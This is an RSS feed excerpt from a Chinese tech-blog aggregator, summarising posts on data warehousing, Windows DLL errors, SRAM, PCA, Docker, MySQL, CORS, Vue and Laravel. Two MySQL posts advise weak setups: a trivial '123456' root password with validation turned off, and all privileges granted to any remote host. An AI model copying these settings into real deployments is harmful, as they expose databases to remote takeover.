      <description>数据中心整体架构。 数据仓库的整理架构，各个系统的元数据通过ETL同步到操作性数据仓库ODS中，对ODS数据进行面向主题域建模形成DW（数据仓库），DM是针对某一个业务领域建立模型，具体用户（决策层）查看DM生成的报表。&#xA;数据仓库的ODS（Operational Data Store）、DW（Data Warehouse）和DM（Data Mart）概念 ODS、DW、DM协作层次图 DW可细分为DWDetail，DWMiddle，DWServer；其他层可有DIM和TMP 数据明细层 DWD（Data Warehouse Detail）：这一层主要解决一些数据质量问题和数据的完整度问题。比如用户的资料信息来自于很多不同表，而且经常出现延迟丢数据等问题，为了方便各个使用方更好的使用数据，我们可以在这一层做一个屏蔽。DWD 主要是对 ODS 层做一些数据清洗和规范化的操作，DWS主要是对 ODS 层数据做一些轻度的汇总。数据中间层 DWM（Data WareHouse Middle）：可看作中间过渡层。轻度综合层与DWD的主要区别在于二者的应用领域不同，DWD的数据来源于生产型系统，并未满意一些不可预见的需求而进行沉淀;轻度综合层则面向分析型应用进行细粒度的统计和沉淀数据服务层 / 主题层 DWS（Data WareHouse Servce）：从ODS层中对用户的行为做一个初步的汇总，抽象出来一些通用的维度：时间、ip、id，并根据这些维度做一些统计值，比如用户每个时间段在不同登录ip购买的商品数等。这里做一层轻度的汇总会让计算更加的高效，在此基础上如果计算仅7天、30天、90天的行为的话会快很多。我们希望80%的业务都能通过我们的DWS层计算，而不是ODS。 维表层（Dimension）：比如国家代码和国家名、地理位置、中文名、国旗图片等信息就存在DIM层中。主要包含两部分数据：&#xA;高基数维度数据：一般是用户资料表、商品资料表类似的资料表。数据量可能是千万级或者上亿级别。&#xA;低基数维度数据：一般是配置表，比如枚举值对应的中文含义，或者日期维表。数据量可能是个位数或者几千几万。&#xA;TMP：每一层的计算都会有很多临时表，专设一个DWTMP层来存储我们数据仓库的临时表。&#xA;应用层（APP）： 数据产品层(APP)，这一层是提供为数据产品使用的结果数据。&#xA;主要是提供给数据产品和数据分析使用的数据，一般会存放在 ES、Mysql 等系统中供线上系统使用，也可能会存在 Hive 或者 Druid 中供数据分析和数据挖掘使用。&#xA;如我们经常说的报表数据，或者说那种大宽表，一般就放在这里。&#xA;概念：应用层是根据业务需要，由前面三层数据统计而出的结果，可以直接提供查询展现，或导入至Mysql中使用。&#xA;数据生成方式：由明细层、轻度汇总层，数据集市层生成，一般要求数据主要来源于集市层。&#xA;日志存储方式：使用impala内表，parquet文件格式。&#xA;日志删除方式：长久存储。&#xA;表schema：一般按天创建分区，没有时间概念的按具体业务选择分区字段。&#xA;库与表命名。库名：暂定apl，另外根据业务不同，不限定一定要一个库。(其实就叫app_)就好了&#xA;旧数据更新方式：直接覆盖。&#xA;数仓思维图 数据的来源 数据主要会有两个大的来源：&#xA;业务库，这里经常会使用 Sqoop 来抽取&#xA;我们业务库用的是databus来进行接收，处理kafka就好了。&#xA;在实时方面，可以考虑用 Canal 监听 Mysql 的 Binlog，实时接入即可。(有机会补一下这个canal)&#xA;埋点日志，线上系统会打入各种日志，这些日志一般以文件的形式保存，我们可以选择用 Flume 定时抽取，也可以用用 Spark Streaming 或者 Storm 来实时接入，当然，Kafka 也会是一个关键的角色。</description>
    </item>
    <item>
      <title>[Windows]msvcr110.dll运行库缺失问题解决方案</title>
      <link>https://bchobby.github.io/posts/1eecb0e8f2d07a062a4d73acbb4bfad5/</link>
      <pubDate>Fri, 19 Mar 2021 16:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eecb0e8f2d07a062a4d73acbb4bfad5/</guid>
      <description>[Windows]msvcr110.dll运行库缺失问题解决方案 系统：win10 64位&#xA;问题：无法启动此程序，因为计算机中丢失 MSVCR110.dll。尝试重新安装该程序以解决此问题。&#xA;运行某些软件时，需要用到msvcr110.dll，如果当前系统内没有这个库，就会报如下错误：&#xA;“无法启动此程序，因为计算机中丢失 MSVCR110.dll。尝试重新安装该程序以解决此问题。”&#xA;查看系统是否拥有msvcr110.dll可以用如下方法：&#xA;C:\Windows\System32 和 C:\Windows\SysWOW64 下有没有msvcr110.dll（两个目录下都有最好，即使有一个文件夹下没有，64位 要着重观察 C:\Windows\System32 下有没有）&#xA;注：我在查找解决方案的时候，他们都说根据系统来看&#xA;如果是32位操作系统查看 C:\Windows\System32&#xA;如果是64位操作系统查看 C:\Windows\SysWOW64&#xA;但我观察到，并不是这样的，即使是64位操作系统，下载完成：&#xA;Visual C++ Redistributable for Visual Studio 2012 Update 4&#xA;后运行，并没有将msvcr110.dll添加到 ：&#xA;C:\Windows\SysWOW64 目录&#xA;而是添加到了&#xA;C:\Windows\System32 目录&#xA;目前我也不知道为何这样，如果有懂得大神可以评论说明一下。&#xA;解决方案 方案一：&#xA;微软官方解决方案 http://www.microsoft.com/en-us/download/details.aspx?id=30679#&#xA;打开该连接：&#xA;弹出如下界面：&#xA;点击Download：&#xA;根据操作系统选择需要下载的文件勾选 然后点Next就会下载。&#xA;下载完成后得到（以64位操作系统为例）名为：&#xA;vcredist_x64.exe 的执行程序 双击运行。&#xA;查看 C:\Windows\System32目录下是否有msvcr110.dll&#xA;微软官方网站加载过慢，可能需要用到科学上网&#xA;方案二&#xA;由于微软官方可能加载过慢&#xA;可以自行百度 vcredist 下载对应的版本&#xA;运行就行。&#xA;方案三（不推荐 我搞了好久没搞明白）：&#xA;自行下载msvcr110.dll&#xA;根据操作系统位数&#xA;下载对应的msvcr110.dll&#xA;64位： 需要将 msvcr110.dll 放到 C:\Windows\System32目录下</description>
    </item>
    <item>
      <title>6T SRAM的基本结构及其读写操作</title>
      <link>https://bchobby.github.io/posts/b78e5ae298b768412ad24f87d97749f2/</link>
      <pubDate>Fri, 19 Mar 2021 15:37:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b78e5ae298b768412ad24f87d97749f2/</guid>
      <description>目录 前言基本结构读写操作standby空闲状态读操作写操作 前言 SRAM：Static Random-Access Memory，静态随机存取存储器。1所谓的“静态”，是指当设备保持供电时，SRAM中存储的数据可以保持不变；掉电时，其存储的数据会丢失。&#xA;6T SRAM，其中T是指Transistor晶体管，即SRAM的基本存储单元是由6个晶体管构成的。&#xA;下面将详细介绍其基本存储单元的内部结构和SRAM的读写操作过程。&#xA;本文所述逻辑均为正逻辑。&#xA;基本结构 图中M1，M3，M5和M6为NMOS管，高电平导通；M2和M4为PMOS管，低电平导通。BL（Bit Line）为位线，用于读写数据。WL（Word Line）为字线，用于控制读写操作。SRAM中每一bit的数据存储在由M1，M2，M3和M4组成两个交叉连接的反相器中（即图中的Q端和/Q端）。M5和M6两个NMOS管是控制开关，用于控制数据从存储单元到位线之间的传递。&#xA;读写操作 SRAM的基本存储单元有3种状态：standby（空闲）、reading（读）和writing（写）。&#xA;standby空闲状态 若字线WL为低电平，则M5和M6两个晶体管处于截止状态，将基本存储单元与位线隔离。由M1-M4组成的两个反相器继续保持其状态。&#xA;读操作 假设该基本存储单元中存储的数据为1，即Q=“1”，/Q=“0”。在读周期开始之前，通过预充电电路，将两根位线的电平充电到逻辑“1”，预充电的电路结构如下（由三个PMOS管组成）。&#xA;随后将WL置为高电平，使得M5和M6两个晶体管导通。因为我们假设Q=“1”，故Q端的高电平使得晶体管M1导通，位线/BL之前预充的高电平通过M5和M1连接到地，使其值为逻辑“0”；在位线BL一侧，因/Q=“0”，晶体管M4和M6导通，通过VDD将位线拉到高电平逻辑“1”。&#xA;若基本存储单元存储的数据为0，其原理一样。&#xA;写操作 在写周期之前，需要把要写入的状态加载到位线。如需要写入数据0，则设置BL=“0”，/BL=“1”。随后将字线WL置为高电平，M5和M6晶体管导通，位线的状态被写入带基本存储单元中。&#xA;https://baike.baidu.com/item/SRAM/7705927?fr=aladdin ↩︎</description>
    </item>
    <item>
      <title>matlab pca svd,关于使用SVD进行PCA主成分提取的代码问题！也是必须涉及到原理的！...</title>
      <link>https://bchobby.github.io/posts/2d601de1d9197c0b8938d410ccea4878/</link>
      <pubDate>Fri, 19 Mar 2021 00:01:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d601de1d9197c0b8938d410ccea4878/</guid>
      <description>如标题所示，目的是将矩阵进行PCA分析最终得到降维后的新主成分，对于特征值特征向量的提取方法是通过svd。代码和函数名称定义如下/如图所示&#xA;function [Xm,U,L]=pca(X,K);&#xA;% Usage: [Xm,U,L] = pca(X,K)&#xA;% Inputs:&#xA;% X [M x N] Compound data matrix.&#xA;% K 1x1 Number of eigenvalues and eigenvectors to be returned.&#xA;% Outputs:&#xA;% Xm [M x 1] Mean.&#xA;% U [M x K] Matrix whose columns consist of eigenvectors.&#xA;% L [1 x K] Vector containing eigenvalues.&#xA;[M N]=size(X);&#xA;Xm=mean(X,2);&#xA;Xd=X-repmat(Xm,1,N);&#xA;if (N &amp;lt; M) %less images than image length</description>
    </item>
    <item>
      <title>服务器部署及使用Docker</title>
      <link>https://bchobby.github.io/posts/57d23c8117782412ce2d21719a2d41ac/</link>
      <pubDate>Thu, 18 Mar 2021 16:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57d23c8117782412ce2d21719a2d41ac/</guid>
      <description> 远程连接ECS实例。连接方式请参见连接方式概述。运行以下命令，安装Docker存储驱动的依赖包。 dnf install -y device-mapper-persistent-data lvm2 运行以下命令，添加稳定的Docker软件源。 dnf config-manager --add-repo=https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 运行以下命令，查看已添加的Docker软件源。 dnf list docker-ce 正确的返回示例如下。 docker-ce.x86_64 3:19.03.13-3.el7 docker-ce-stable 运行以下命令安装Docker。 dnf install -y docker-ce --nobest 运行以下命令启动Docker。 systemctl start docker </description>
    </item>
    <item>
      <title>pyecharts画好看的饼状图</title>
      <link>https://bchobby.github.io/posts/50d5f12ac16762669ad28edafd470b56/</link>
      <pubDate>Thu, 18 Mar 2021 16:19:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50d5f12ac16762669ad28edafd470b56/</guid>
      <description>使用的pyecharts是v1.0&#xA;这里需要注意，pyecharts0.5的版本和v1.0以上的版本完全不一样，可以说是两个包&#xA;该包能够方便快捷的绘制图形&#xA;饼状图 圆环 代码：&#xA;from pyecharts.charts import Pie from pyecharts import options as opts from pyecharts.render import make_snapshot from snapshot_phantomjs import snapshot def getPie(data,name): &#39;&#39;&#39; style like this https://gallery.pyecharts.org/#/Pie/pie_radius 样式为 空心 的圆环 :param data:字典 :param name:title :return: &#39;&#39;&#39; c = ( Pie() .add( &#34;&#34;, [list(z) for z in zip(data.keys(), data.values())], radius=[&#34;45%&#34;, &#34;75%&#34;],#直径 center=[&#34;50%&#34;, &#34;56%&#34;],#中心位置 label_opts=opts.LabelOpts(is_show=False, position=&#34;center&#34;),#is_show是否展示数值 ) .set_global_opts( title_opts=opts.TitleOpts(title=name, pos_top=&#34;13&#34;,pos_left=&#34;1%&#34;),#标题位置 legend_opts=opts.LegendOpts(orient=&#34;vertical&#34;, pos_top=&#34;25%&#34;, pos_left=&#34;8%&#34;),#图例位置 ) .set_series_opts(label_opts=opts.LabelOpts(formatter=&#34;size{b}: {d}%&#34;))#数值表现形式，这里是百分比 # .</description>
    </item>
    <item>
      <title>服务器入门使用</title>
      <link>https://bchobby.github.io/posts/45cebc9c885daee81141e27089648361/</link>
      <pubDate>Thu, 18 Mar 2021 15:45:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45cebc9c885daee81141e27089648361/</guid>
      <description>1.购买 登录官网查看云服务器购买列表，购买时选择地区、操作系统镜像等，购买云服务器后会发送短信通知，这里只列出一个：&#xA;【阿里云】尊敬的用户：您的云服务器ECS创建成功（实例名称：xxxxxxxxxx，公网IP：xxx.xxx.xxx.xxx）。系统用户名： root；若您忘记或未设置密码可进入ECS控制台-实例列表-重置密码。如您购买了数据盘请在实例创建后手动磁盘格式化分区，更多信息请查看站内信或邮件。&#xA;2.登录控制台 此时便可登录阿里云控制台，输入账号密码或者阿里云app扫码进入即可：&#xA;进入后都是一些服务器介绍，安全管控你等信息，可以自己了解一下，这时候点击左侧菜单，点击云服务器ECS，显示界面如图：&#xA;点击实例，左上角的服务器区域选择购买时的区域，这时你的服务器信息就显示出来了，如图：&#xA;一些基本的功能大家可以慢慢去探索，这里简要讲一下怎么把服务器用起来而已&#xA;3.连接主机 1）通过控制台连接 首先云服务器有两个密码，一个是远程登录密码，一个是实例密码，就是我们平常登录服务器的root密码&#xA;通过控制台连接服务器需要使用到这两个密码，刚开始不知道密码，直接重置即可，修改或者重置密码位置如图：&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/20210318153755857.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Z1dml2aWFu,size_16,color_FFFFFF,t_70) 注意：修改实例密码后需要重启服务器生效。&#xA;点击远程连接，输入远程连接密码，如图：&#xA;此时就可以输入root用户和密码（即实例密码）开始对服务器进行各项操作了，如图：&#xA;登录成功后，就像我们平常使用实体服务器或者虚拟机服务器一样即可，如图：&#xA;断开连接点击左侧按钮列表的断开连接即可，如图：&#xA;2）通过XShell等工具进行连接 通过收到的短信以及管理控制台的实例页面即可看到服务器的公网IP，此时通过XShell，CRT等工具按照连接其他服务器的方式连接即可，不在赘述&#xA;3）通过阿里云App进行连接 进入阿里云App选择控制台，如图：&#xA;选择SSH工具，可以选择输入密码或者密码工具进行验证，点击最下侧切换选项即可，如图：&#xA;输入密码后即可对服务器进行连接，同样，在这里可以进行各种操作，只要觉得用的方便，如图：&#xA;4.部署应用 1）开放端口 首先部署的应用对外开放的端口应该先进行配置才能被访问，选择安全组配置，如图：&#xA;点击配置规则，如图：&#xA;点击入方向标签，这里展示了访问服务器所有的安全规则，如图：&#xA;如要开放80端口，填写信息后点击确定即可，如图：&#xA;2）启动应用 注意：使用普通用户启动应用，使用的端口需要使用1024以上的端口，否则会报绑定失败方面的错误，例如80端口普通用户是无法使用的&#xA;3）访问应用 启动好应用后，便可以通过IP地址端口进行访问，如图，开放的端口是8080：&#xA;如果需要通过域名进行访问，需要申请域名，由于刚申请服务器，还未进行该操作，感兴趣的话可以自己试一下。&#xA;2018-09-27 added 域名购买实名认证之后不要急着去备案，至少也等个三天以上，要不备案总是被驳回呀，本人被驳回三次，明明没有任何问题，第四次提交才通过！！！</description>
    </item>
    <item>
      <title>Java 信号量 (Semaphore) 实现生产者与消费者模型</title>
      <link>https://bchobby.github.io/posts/5c63936e1d9fb565b4afa24699fc19c7/</link>
      <pubDate>Thu, 18 Mar 2021 14:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c63936e1d9fb565b4afa24699fc19c7/</guid>
      <description>import java.util.concurrent.Semaphore; /** * 使用semaphore信号量实现生产者消费者问题。 * 生产者消费者问题的本质，其实就是同步和互斥的问题。 * 同步问题，其实就是一前一后的问题，某个进程或者程序，必须在另一个的前面或者后面执行，他俩不能同时执行，就是这个意思。 * 互斥问题，即某个资源不能同时被两个进程占用 */ public class Test { //比如这是苹果的数量。 private static Integer count = 0; //创建三个信号量 //这个是生产者许可，最多可以获取10个许可，也就是说最多生产10个苹果。 final Semaphore provider = new Semaphore(10); //这个是消费者许可。一个空盘子。 final Semaphore consumer = new Semaphore(0); //体现互斥的地方：保证生产者和消费者之间的交替进行 所以再设置一个mutex信号量 final Semaphore mutex = new Semaphore(1); public static void main(String[] args) { Test4 test = new Test(); new Thread(test.new Producer()).start(); new Thread(test.new Consumer()).start(); new Thread(test.new Producer()).start(); new Thread(test.new Consumer()).start(); new Thread(test.</description>
    </item>
    <item>
      <title>linux安装mysql查看默认密码</title>
      <link>https://bchobby.github.io/posts/16750dd2b88a078f04ae78d6d32c5a6d/</link>
      <pubDate>Thu, 18 Mar 2021 12:37:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16750dd2b88a078f04ae78d6d32c5a6d/</guid>
      <description>1. 解压 mysql 的安装包&#xA;mkdir mysql tar -xvf mysql-5.7.27-1.el7.x86_64.rpm-bundle.tar -C mysql/ 2. 安装客户端&#xA;cd mysql/ rpm -ivh mysql-community-client-5.7.27-1.el7.x86_64.rpm --force --nodeps 3. 安装服务端&#xA;rpm -ivh mysql-community-server-5.7.27-1.el7.x86_64.rpm --force --nodeps 4. 修改mysql默认字符集&#xA;vi /etc/my.cnf 添加如下内容： [mysqld] character-set-server=utf8 collation-server=utf8_general_ci -- 在文件最下方添加 [client] default-character-set=utf8 5. 启动mysql服务&#xA;service mysqld start 6. 登录mysql&#xA;mysql -u root -p 敲回车，输入密码 这个centOS7简版安装没有办法查看 *初始密码查看：*cat /var/log/mysqld.log **用这个** cat /var/log/mysqld.log |grep password 在root@localhost: 后面的就是初始密码 7. 修改mysql登录密码&#xA;set global validate_password_policy=0; set global validate_password_length=1; set password=password(&#39;123456&#39;); 8.</description>
    </item>
    <item>
      <title>matlab svd降维测试数据集,[机器学习 ]PCA降维--两种实现 : SVD或EVD. 强力总结. 在鸢尾花数据集(iris)实做...</title>
      <link>https://bchobby.github.io/posts/0ced49e0bb21d96a6d078e14b8b7fc2f/</link>
      <pubDate>Thu, 18 Mar 2021 04:45:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ced49e0bb21d96a6d078e14b8b7fc2f/</guid>
      <description>PCA降维--两种实现 : SVD或EVD. 强力总结. 在鸢尾花数据集(iris)实做&#xA;今天自己实现PCA,从网上看文章的时候,发现有的文章没有搞清楚把SVD(奇异值分解)实现和EVD(特征值分解)实现,查阅多个文章很容易更糊涂,所以搞懂之后写下这个总结. 先说最关键的点:&#xA;a. PCA两个主要的实现方式: SVD(奇异值分解), EVD(特征值分解).&#xA;b. 特征值分解方式需要计算协方差矩阵,分解的是协方差矩阵.&#xA;SVD方式不需要计算协方差矩阵,分解的是经过中心化的原数据矩阵&#xA;1.特征值分解实现PCA (也有人称为PCA原始算法)&#xA;然后把中心化过的矩阵 X 乘 W, 就得到了低维数据.&#xA;2.SCD分解实现PCA&#xA;(1)样本中心化得到矩阵X&#xA;(2)对X进行SVD分解 u s v = svd(X)&#xA;(3)取v的前dd个分量&#xA;(4)X*v[0:dd]就是低维空间的数据.&#xA;(这是对应X每一行为一个样本的情况.u用于行数的压缩,v用于列数的压缩)&#xA;3.Show Me the Code&#xA;import numpy as np&#xA;from numpy.linalg import svd&#xA;from numpy.linalg import eig&#xA;from sklearn import datasets # 从sklearn中调出数据集&#xA;from sklearn.decomposition import PCA&#xA;import matplotlib.pyplot as plt&#xA;iris = datasets.load_iris()&#xA;data_src = iris.data #(150,4)</description>
    </item>
    <item>
      <title>pymysql.err.OperationalError: (1045, “Access denied for user ‘root’@‘192.168.216.1’ (using password:</title>
      <link>https://bchobby.github.io/posts/c0099fd0619a2a7b916bcf964a0e249f/</link>
      <pubDate>Thu, 18 Mar 2021 00:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0099fd0619a2a7b916bcf964a0e249f/</guid>
      <description>pymysql.err.OperationalError: (1045, “Access denied for user ‘root’@‘192.168.216.1’ (using password: YES)”)解决办法&#xA;问题： python远程连接虚拟机或者mysql服务器，正确输入账号密码，&#xA;import pymysql&#xA;conn = pymysql.connect(‘192.168.216.127’,‘root’,‘john’,‘testdb’)&#xA;运行时报错：&#xA;pymysql.err.OperationalError: (1045, “Access denied for user ‘root’@‘192.168.216.1’ (using password: YES)”)&#xA;原因：虽然输入正确的用户名和密码，但是却没有在其他ip地址上访问的权限。需要用root账号登录mysql然后修改权限&#xA;解决方法：&#xA;step 1 :&#xA;mysql -u root -p&#xA;输入密码，登录&#xA;step 2:&#xA;GRANT ALL PRIVILEGES ON . TO ‘myuser’@’%’ IDENTIFIED BY ‘mypassword’ WITH GRANT OPTION;&#xA;step 3:&#xA;FLUSH PRIVILEGES;&#xA;————————————————&#xA;版权声明：本文为CSDN博主「Johnsonbug_」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_34272900/article/details/90995746</description>
    </item>
    <item>
      <title>ffmpeg转换h265编码视频到h264编码</title>
      <link>https://bchobby.github.io/posts/1a26799f7a3ade52cab6378a382e52fc/</link>
      <pubDate>Wed, 17 Mar 2021 15:54:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a26799f7a3ade52cab6378a382e52fc/</guid>
      <description> ffmpeg -i inputfile -map 0 -c:a copy -c:s copy -c:v libx264 output.mkv </description>
    </item>
    <item>
      <title>Python 3.9.2 的安装</title>
      <link>https://bchobby.github.io/posts/aa2c516064bd8f735eea17599553c8ad/</link>
      <pubDate>Wed, 17 Mar 2021 15:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa2c516064bd8f735eea17599553c8ad/</guid>
      <description>1、python的下载地址：python.org/geteit&#xA;2、双击.exe文件安装&#xA;选择自定义安装，为所有用户安装启动器(推荐)，添加到路径;&#xA;安装:说明文档、pip、IDLE、标准套件库、全局启动python&#xA;修改地址后，点击install安装；&#xA;完成后关闭即可；&#xA;注意，&#xA;1、安装地址要记住；python可以多版本安装在同一台电脑上，同时后续使用虚拟环境时候，可使用不同版本的python来操作；&#xA;2、下载时候给的默认地址都是最新的版本，需要历史版本的，可以在下边搜索，注意×64和×32版本，以及windows版本区分；&#xA;3、这个安装方法是我自己安装记录，可能python2的不是这样安装，我没安过，请海涵。</description>
    </item>
    <item>
      <title>解决跨域问题的n种办法</title>
      <link>https://bchobby.github.io/posts/836bdbc016a9fe1105062375ea6e0ff5/</link>
      <pubDate>Wed, 17 Mar 2021 14:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/836bdbc016a9fe1105062375ea6e0ff5/</guid>
      <description>今天我们来聊聊跨域的事情，那我们先从浏览器的报错开始吧！&#xA;见到这个报错信息，那么就要恭喜你，遇到了跨域这个磨人的小妖精了。&#xA;关于这篇文章的代码，需要的自取。&#xA;什么是跨域？ 那么说到跨域，我们就需要先搞懂什么是同源策略？&#xA;同源策略是一个重要的安全策略，它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档，减少可能被攻击的媒介。&#xA;所谓&#34;同源&#34;指的是“三个相同”。&#xA;协议相同域名相同端口相同 当协议、域名、端口中任意一个不相同时，都算作跨域。需注意即使两个不同的域名指向同一个IP地址，也是跨域。&#xA;同源策略的限制：&#xA;Cookie、LocalStorage、IndexedDB等本地存储内容DOM节点AJAX请求发送后，结果被浏览器拦截 以下是可以嵌入跨源资源的一些示例：&#xA;&amp;lt;script src=&#34;...&#34;&amp;gt;&amp;lt;/script&amp;gt;标签嵌入跨域脚本&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;...&#34;&amp;gt;&amp;lt;/link&amp;gt;标签嵌入CSS通过&amp;lt;img&amp;gt;展示图片通过&amp;lt;video&amp;gt;和&amp;lt;audio&amp;gt;播放的多媒体资源通过&amp;lt;object&amp;gt;、&amp;lt;embed&amp;gt;、&amp;lt;applet&amp;gt;嵌入的插件通过@fant-face引入的字体。通过&amp;lt;iframe&amp;gt;载入的任何资源 怎么解决跨域？ 为了模拟跨域，我用node搭建两个服务server1、server2。server1为3000端口为页面服务器，server2为4000端口为接口服务器。分别用nodemon启动两个服务。&#xA;Server1的代码如下：&#xA;const http = require(&#39;http&#39;); const fs = require(&#39;fs&#39;); const path = require(&#39;path&#39;); const server = http.createServer((request, response) =&amp;gt; { const { url, method } = request; console.log(url); if(url === &#39;/&#39; &amp;amp;&amp;amp; method === &#39;GET&#39;) { const file = path.resolve(__dirname, &#34;../client/index.html&#34;); fs.readFile(file, (err, data) =&amp;gt; { if(err) { response.writeHead(500, { &#39;Content-Type&#39;: &#39;text/plain;charset=utf-8&#39; }); response.</description>
    </item>
    <item>
      <title>vue写模态框，同时禁止页面滚动</title>
      <link>https://bchobby.github.io/posts/8b03188b4cc777023a9b59b4223e9f84/</link>
      <pubDate>Wed, 17 Mar 2021 13:55:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b03188b4cc777023a9b59b4223e9f84/</guid>
      <description>父组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;text-center&#34;&amp;gt; &amp;lt;div v-for=&#34; i in 100&#34; :key=&#34;i&#34;&amp;gt;{{i}}&amp;lt;/div&amp;gt; &amp;lt;Modal v-show=&#34;showModal&#34; v-on:closeme=&#34;closeme&#34;&amp;gt;&amp;lt;/Modal&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import Modal from &#39;@/components/Modal&#39; export default { name: &#39;test&#39;, data () { return { showModal: true } }, components: { Modal }, methods: { closeme () { this.showModal = !this.showModal }, stop () { var mo = function (e) { e.preventDefault() } document.body.style.overflow = &#39;hidden&#39; document.addEventListener(&#39;touchmove&#39;, mo, false) // 禁止页面滑动 }, move () { var mo = function (e) { e.</description>
    </item>
    <item>
      <title>Laravel Passport快速实现API认证</title>
      <link>https://bchobby.github.io/posts/db226a8109130002103608ec2967e4f3/</link>
      <pubDate>Wed, 17 Mar 2021 09:59:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db226a8109130002103608ec2967e4f3/</guid>
      <description>Laravel Passport快速实现API认证 安装拓展 passport 首先为什么要使用passport 拓展？&#xA;思考：API 认证如果是网页端使用session 会话保持就可以简单做到，但是如果是app端无会话保持的情况下，就只能想其他办法了，其中一个就是：api 令牌。&#xA;如何解决这个问题呢？&#xA;思考：用户通过 API 登录时，会生成令牌并将其发送给用户，该用户可用于身份验证，也就是app端提交请求时，头信息里必须添加api token, 如下：$accessToken 为用户登录后生成的令牌&#xA;‘headers’ =&amp;gt; [&#xA;‘Accept’ =&amp;gt; ‘application/json’,&#xA;‘Authorization’ =&amp;gt; &#39;Bearer &#39;. $accessToken,&#xA;]&#xA;思路明确后，撸起袖子就干。&#xA;前提是你已经创建了laravel 项目； 安装passport 拓展：&#xA;composer require laravel/passport&#xA;愉快的等待中…&#xA;passport 拓展配置 添加服务提供者 现在我们需要在 config/app.php 文件中为Passport注册服务，添加如下：&#xA;&#39;providers&#39; =&amp;gt; [ .... Laravel\Passport\PassportServiceProvider::class, ] 执行数据迁移 php artisan migrate&#xA;安装拓展 php artisan passport:install&#xA;添加用户表API TOKEN 支持 修改我们的用户模型代码&#xA;use Laravel\Passport\HasApiTokens; /** * Class Administrator. * * @property Role[] $roles */ class Administrator extends Model implements AuthenticatableContract { use Authenticatable; use HasPermissions; use DefaultDatetimeFormat; use HasApiTokens;&#x9;// 添加这行代码 以上是我的部分代码（我的是使用了laravel-admin 的用户表，你的可能是这样）：</description>
    </item>
    <item>
      <title>1-1 python数据采集-课程介绍 2-1 python开发环境搭建</title>
      <link>https://bchobby.github.io/posts/0e2be1ceb9e22a6e7e2d82477a9dd3c3/</link>
      <pubDate>Tue, 16 Mar 2021 23:59:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e2be1ceb9e22a6e7e2d82477a9dd3c3/</guid>
      <description> from urllib.request import urlopen pip install beautifulsoup4 验证：&#xA;from bs4 import BeautifulSoup </description>
    </item>
    <item>
      <title>推荐算法 - 基于邻域的协同过滤Collaborative Filter</title>
      <link>https://bchobby.github.io/posts/dca854ac28f43fe38c7b20226ef4e601/</link>
      <pubDate>Tue, 16 Mar 2021 17:15:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dca854ac28f43fe38c7b20226ef4e601/</guid>
      <description>推荐算法 - 基于邻域的协同过滤Collaborative Filter 1. 定义1.1 userCF1.2 itemCF 2. 基于集合的相似度计算方式3. 基于邻域协同过滤的拓展算法3.1 KNNBasic3.2 KNNMean3.3 KNNZScore3.4 KNNBaseline 4. 协同过滤的优缺点 1. 定义 1.1 userCF userCF：基于用户的相似度，使用用户评分表，通过 group by 用户id，筛选出每位用户的标记过的物品列表，根据多个用户间的物品列表，计算相似度，取相似度靠前的k个邻居，根据这k个邻居的打分以及于其的相似度，得到相似度的加权得分。即为基于邻域的userCF p ( u , i ) = ∑ v ∈ S ( u , K ) ∩ N ( i ) w u v r v i p(u,i) = \sum_{v\in{S(u,K)}\cap{N(i)}}{w_{uv}r_{vi}} p(u,i)=v∈S(u,K)∩N(i)∑​wuv​rvi​&#xA;S ( u , K ) 表 示 和 用 户 u 兴 趣 最 接 近 的 K 个 用 户 S(u,K)表示和用户u兴趣最接近的K个用户 S(u,K)表示和用户u兴趣最接近的K个用户</description>
    </item>
    <item>
      <title>matlab定义ezpolt,matlab中的ezplot3函数</title>
      <link>https://bchobby.github.io/posts/ee4c638c3edc238df8bdc2e004b993c6/</link>
      <pubDate>Tue, 16 Mar 2021 16:42:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee4c638c3edc238df8bdc2e004b993c6/</guid>
      <description>一个好用的三维曲线绘制函数&#xA;语法&#xA;ezplot3(x,y,z)&#xA;ezplot3(x,y,z,[tmin,tmax])&#xA;ezplot3(...,‘animate‘)&#xA;ezplot3(axes_handle,...)&#xA;h = ezplot3(...)&#xA;描述&#xA;1、ezplot3(x,y,z) ：在默认区间0&#xA;2、ezplot3(x,y,z,[tmin,tmax])：在tmin &amp;lt; t &amp;lt; t max上绘制曲线 x = x(t), y = y(t), and z = z(t)&#xA;3、ezplot3(...,‘animate‘)： 产生一个空间曲线的动态轨迹&#xA;4、ezplot3(axes_handle,...) ： plots into the axes with handle axes_handle instead of the current axes (gca).&#xA;5、h = ezplot3(...)： returns the handle to a line object in h.&#xA;例子&#xA;绘制参变量函数：x=sin(t) ，y=cos(t)，z=t 区间：[0,6pi]&#xA;ezplot3(‘sin(t)‘,‘cos(t)‘,‘t‘,[0,6*pi])&#xA;原文：http://blog.csdn.net/u010142437/article/details/23444389</description>
    </item>
    <item>
      <title>PFC颗粒流离散元数值模拟</title>
